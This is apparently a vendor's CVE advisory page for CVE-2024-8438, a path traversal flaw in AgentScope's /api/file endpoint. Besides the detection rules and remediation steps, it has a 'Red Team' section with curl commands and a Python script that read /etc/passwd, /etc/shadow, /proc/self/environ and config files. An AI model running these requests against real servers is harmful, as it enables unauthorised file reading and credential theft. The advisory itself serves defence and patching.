☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8438

CVE-2024-8438 Path Traversal in Modelscope
📅 PUBLISHED: 2025-03-20 10:09 UTC 🔄 UPDATED: 2026-08-28 11:35 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.74%
👁️
0.74% probability
18.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8438 is a critical path traversal vulnerability identified in the modelscope/agentscope project, specifically in version v.0.0.4. The flaw resides in the /api/file API endpoint, where the path parameter is not properly sanitized. This allows an unauthenticated attacker to read arbitrary files on the server, leading to potential disclosure of sensitive configuration files, source code, or credentials. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. No public exploit code or Nuclei template has been released, but the attack vector is straightforward and can be weaponized with simple HTTP requests.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the agentscope Python package distributed via PyPI. Organizations using this package in their supply chain should immediately assess their exposure. The lack of a patch means that any deployment of version v.0.0.4 is at risk. Security teams should monitor for updates from the vendor and consider temporary mitigations such as web application firewall (WAF) rules or reverse proxy restrictions.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; a simple HTTP request suffices.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – No user action is required.
  • Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
  • Confidentiality (C): High (H) – Arbitrary file read can expose sensitive data.
  • Integrity (I): None (N) – No data modification is possible.
  • Availability (A): None (N) – No denial of service impact.

Threat Level: High. The ease of exploitation and potential for data exfiltration make this a priority for remediation.

Deep Dive & Mechanics

The vulnerability exists in the /api/file endpoint of the AgentScope application. The endpoint accepts a path parameter that specifies the file to be read. Due to insufficient input validation, an attacker can supply a path containing directory traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files on the server's filesystem.

Root Cause: The application fails to normalize or validate the path parameter against a whitelist of allowed directories. It likely uses a function like open() or read() without checking for traversal patterns.

Attack Vector: An unauthenticated HTTP GET request to /api/file?path=../../../etc/passwd would return the contents of /etc/passwd. The attacker can then enumerate other sensitive files such as configuration files, SSH keys, or application source code.

Impact: Full read access to the server's filesystem, leading to credential theft, intellectual property loss, and potential lateral movement if credentials are exposed.

Vulnerable vs. Patched Code

Vulnerable Code (v.0.0.4):

@app.route('/api/file')
def get_file():
    path = request.args.get('path')
    with open(path, 'r') as f:
        return f.read()

Patched Code (Hypothetical):

import os

ALLOWED_DIR = '/var/agentscope/data'

@app.route('/api/file')
def get_file():
    path = request.args.get('path')
    # Normalize and validate path
    full_path = os.path.normpath(os.path.join(ALLOWED_DIR, path))
    if not full_path.startswith(ALLOWED_DIR):
        return 'Forbidden', 403
    with open(full_path, 'r') as f:
        return f.read()

The patched version uses os.path.normpath to resolve traversal sequences and then checks that the resulting path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy AgentScope v.0.0.4 in a Docker container.
  2. Ensure the /api/file endpoint is accessible.

Exploitation Steps:

  1. Identify the target endpoint: http://target:port/api/file.
  2. Craft a request to read /etc/passwd:
    curl "http://target:port/api/file?path=../../../etc/passwd"
    
  3. For Windows targets, try:
    curl "http://target:port/api/file?path=..\..\..\Windows\System32\drivers\etc\hosts"
    
  4. Enumerate sensitive files:
    • /etc/shadow (if permissions allow)
    • /proc/self/environ (environment variables)
    • Application configuration files (e.g., config.py, .env)

Automation Script:

import requests

target = "http://target:port"
files = ["/etc/passwd", "/etc/shadow", "/proc/self/environ", "../config.py"]

for file in files:
    r = requests.get(f"{target}/api/file", params={"path": file})
    if r.status_code == 200:
        print(f"[+] {file}:\n{r.text}\n")

Blue Team

Detection:

  • Monitor for HTTP requests to /api/file with suspicious path parameters containing ../ or ..\.
  • Alert on requests attempting to access system files (e.g., /etc/passwd, /windows/win.ini).

Mitigation:

  • Implement a WAF rule to block path traversal patterns.
  • Restrict access to the /api/file endpoint via network segmentation or authentication.
  • If possible, disable the endpoint until a patch is available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests to /api/file with path parameter containing ../ or ..\.
    • Outbound connections from the server to unknown IPs after exploitation (data exfiltration).
  • File System IOCs:
    • Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
    • Presence of files like /tmp/exploit.sh or /tmp/data.txt (if attacker uploads tools).
  • Log IOCs:
    • Web server logs showing repeated requests to /api/file with traversal patterns.
    • Error logs indicating file not found or permission denied for system files.

Detection Engineering

YARA Rule

rule CVE_2024_8438_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-8438"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-8438"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $api_endpoint = "/api/file"
    condition:
        any of ($traversal*) and $api_endpoint
}

Sigma Rule

title: CVE-2024-8438 Path Traversal in AgentScope /api/file
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with path traversal patterns to the /api/file endpoint.
author: Valters IT
date: 2024/10/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/api/file"
        cs-uri-query|contains: 
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e%5c"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8438 Path Traversal in AgentScope /api/file"; flow:to_server; content:"/api/file"; http_uri; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the /api/file endpoint if not required for business operations.
  2. Implement a WAF rule to block requests containing ../ or ..\ in the path parameter.
  3. Restrict network access to the application server using firewalls or VPNs.

Long-term Fix:

  • Vendor Patch: Await an official patch from Modelscope. Monitor their GitHub repository for updates.
  • Code Fix: If you control the source code, implement proper path validation as shown in the patched code example.
  • Upgrade: Once a patched version is released, upgrade immediately.

Compensating Controls:

  • Use a reverse proxy (e.g., Nginx) to validate and sanitize the path parameter before it reaches the application.
  • Implement strict file permissions on the server to limit the impact of a successful exploit.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8438/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.